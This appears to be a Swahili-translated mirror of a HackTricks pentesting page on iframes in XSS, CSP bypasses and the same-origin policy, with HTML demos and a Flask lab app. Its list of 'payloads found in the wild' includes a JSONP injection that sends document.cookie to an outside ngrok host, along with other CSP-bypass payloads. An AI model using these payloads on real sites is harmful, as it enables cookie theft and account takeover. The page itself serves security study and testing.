mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
165 lines
9 KiB
Markdown
165 lines
9 KiB
Markdown
# Iframes katika XSS, CSP na SOP
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuatilie** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Iframes katika XSS
|
|
|
|
Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio na iframe:
|
|
|
|
* Kupitia `src` kuonyesha URL (URL inaweza kuwa ya asili tofauti au ya asili sawa)
|
|
* Kupitia `src` kuonyesha maudhui kwa kutumia itifaki ya `data:`
|
|
* Kupitia `srcdoc` kuonyesha maudhui
|
|
|
|
**Kupata Var za Wazazi na Watoto**
|
|
```html
|
|
<html>
|
|
<script>
|
|
var secret = "31337s3cr37t";
|
|
</script>
|
|
|
|
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
|
|
<iframe id="if2" src="child.html"></iframe>
|
|
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
|
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
|
|
|
<script>
|
|
function access_children_vars(){
|
|
alert(if1.secret);
|
|
alert(if2.secret);
|
|
alert(if3.secret);
|
|
alert(if4.secret);
|
|
}
|
|
setTimeout(access_children_vars, 3000);
|
|
</script>
|
|
</html>
|
|
```
|
|
|
|
```html
|
|
<!-- content of child.html -->
|
|
<script>
|
|
var secret="child secret";
|
|
alert(parent.secret)
|
|
</script>
|
|
```
|
|
Ikiwa unafikia html iliyotangulia kupitia seva ya http (kama `python3 -m http.server`) utaona kuwa hati zote zitatekelezwa (kwa kuwa hakuna CSP inayozuia hilo)., **mzazi hataweza kupata ufikivu wa `secret` ndani ya kisanduku cha iframe** na **iframes if2 & if3 (ambazo zinachukuliwa kuwa ni tovuti moja) tu ndizo zinaweza kupata ufikivu wa siri** kwenye dirisha asili.\
|
|
Tafadhali kumbuka jinsi if4 inachukuliwa kuwa na asili ya `null`.
|
|
|
|
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
|
|
|
{% hint style="info" %}
|
|
Tafadhali, kumbuka jinsi katika kizuizi zifuatazo majibu kwa ukurasa uliofungwa hayana kichwa cha CSP kinachozuia utekelezaji wa JS.
|
|
{% endhint %}
|
|
|
|
Thamani ya `self` ya `script-src` haitaruhusu utekelezaji wa nambari ya JS kwa kutumia itifaki ya `data:` au sifa ya `srcdoc`.\
|
|
Hata hivyo, hata thamani ya `none` ya CSP itaruhusu utekelezaji wa iframes ambazo zinaingiza URL (kamili au tu njia) kwenye sifa ya `src`.\
|
|
Kwa hiyo ni rahisi kuzungusha CSP ya ukurasa na:
|
|
```html
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
|
|
</head>
|
|
<script>
|
|
var secret = "31337s3cr37t";
|
|
</script>
|
|
<iframe id="if1" src="child.html"></iframe>
|
|
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
|
|
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
|
|
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
|
|
</html>
|
|
```
|
|
Angalia jinsi **CSP iliyopita inaruhusu utekelezaji wa skripti ya ndani tu**.\
|
|
Walakini, **skripti za `if1` na `if2` tu zitatekelezwa lakini `if1` tu itaweza kupata siri ya mzazi**.
|
|
|
|
 (1) (1).png>)
|
|
|
|
Kwa hivyo, ni **inawezekana kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa tovuti ile ile**.
|
|
|
|
Unaweza kujaribu hii na mazingira yafuatayo ambapo kuki inaibiwa hata na `script-src 'none'`. Chukua programu na ufikie kupitia kivinjari chako:
|
|
```python
|
|
import flask
|
|
from flask import Flask
|
|
app = Flask(__name__)
|
|
|
|
@app.route("/")
|
|
def index():
|
|
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
|
|
resp.headers['Content-Security-Policy'] = "script-src 'self'"
|
|
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
|
|
return resp
|
|
|
|
@app.route("/cookie_s.html")
|
|
def cookie_s():
|
|
return "<script>alert(document.cookie)</script>"
|
|
|
|
if __name__ == "__main__":
|
|
app.run()
|
|
```
|
|
### Malipo mengine yaliyopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
|
```html
|
|
<!-- This one requires the data: scheme to be allowed -->
|
|
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
|
|
<!-- This one injects JS in a jsonp endppoint -->
|
|
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
|
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
|
|
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
|
|
```
|
|
### Iframe sandbox
|
|
|
|
Maudhui ndani ya iframe inaweza kuwekewa vizuizi zaidi kwa kutumia sifa ya `sandbox`. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.
|
|
|
|
Inapotumiwa, sifa ya `sandbox` inaweka vizuizi vifuatavyo:
|
|
|
|
- Maudhui yanachukuliwa kama yanatoka kwenye chanzo kimoja tu.
|
|
- Jaribio lolote la kuwasilisha fomu linazuiliwa.
|
|
- Utekelezaji wa script unakatazwa.
|
|
- Upatikanaji wa API fulani unafungwa.
|
|
- Inazuia viungo kutoka kuingiliana na muktadha mwingine wa kivinjari.
|
|
- Matumizi ya programu-jalizi kupitia vitambulisho kama vile `<embed>`, `<object>`, `<applet>`, au vitambulisho vingine vinavyofanana haviruhusiwi.
|
|
- Uvigezo wa muktadha wa kivinjari wa kiwango cha juu wa maudhui na maudhui yenyewe unazuiliwa.
|
|
- Vipengele ambavyo huanzishwa moja kwa moja, kama vile kucheza video au kufanya fomu zifanye kazi kiotomatiki, vinazuiliwa.
|
|
|
|
Thamani ya sifa inaweza kuachwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kama orodha ya nafasi zilizotenganishwa na nafasi za thamani maalum ambazo zinaondoa iframe kutoka kwa vizuizi fulani.
|
|
```html
|
|
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
|
```
|
|
## Iframes katika SOP
|
|
|
|
Angalia kurasa zifuatazo:
|
|
|
|
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %}
|
|
[bypassing-sop-with-iframes-1.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %}
|
|
[bypassing-sop-with-iframes-2.md](../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %}
|
|
[blocking-main-page-to-steal-postmessage.md](../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %}
|
|
[steal-postmessage-modifying-iframe-location.md](../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md)
|
|
{% endcontent-ref %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa muundo wa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|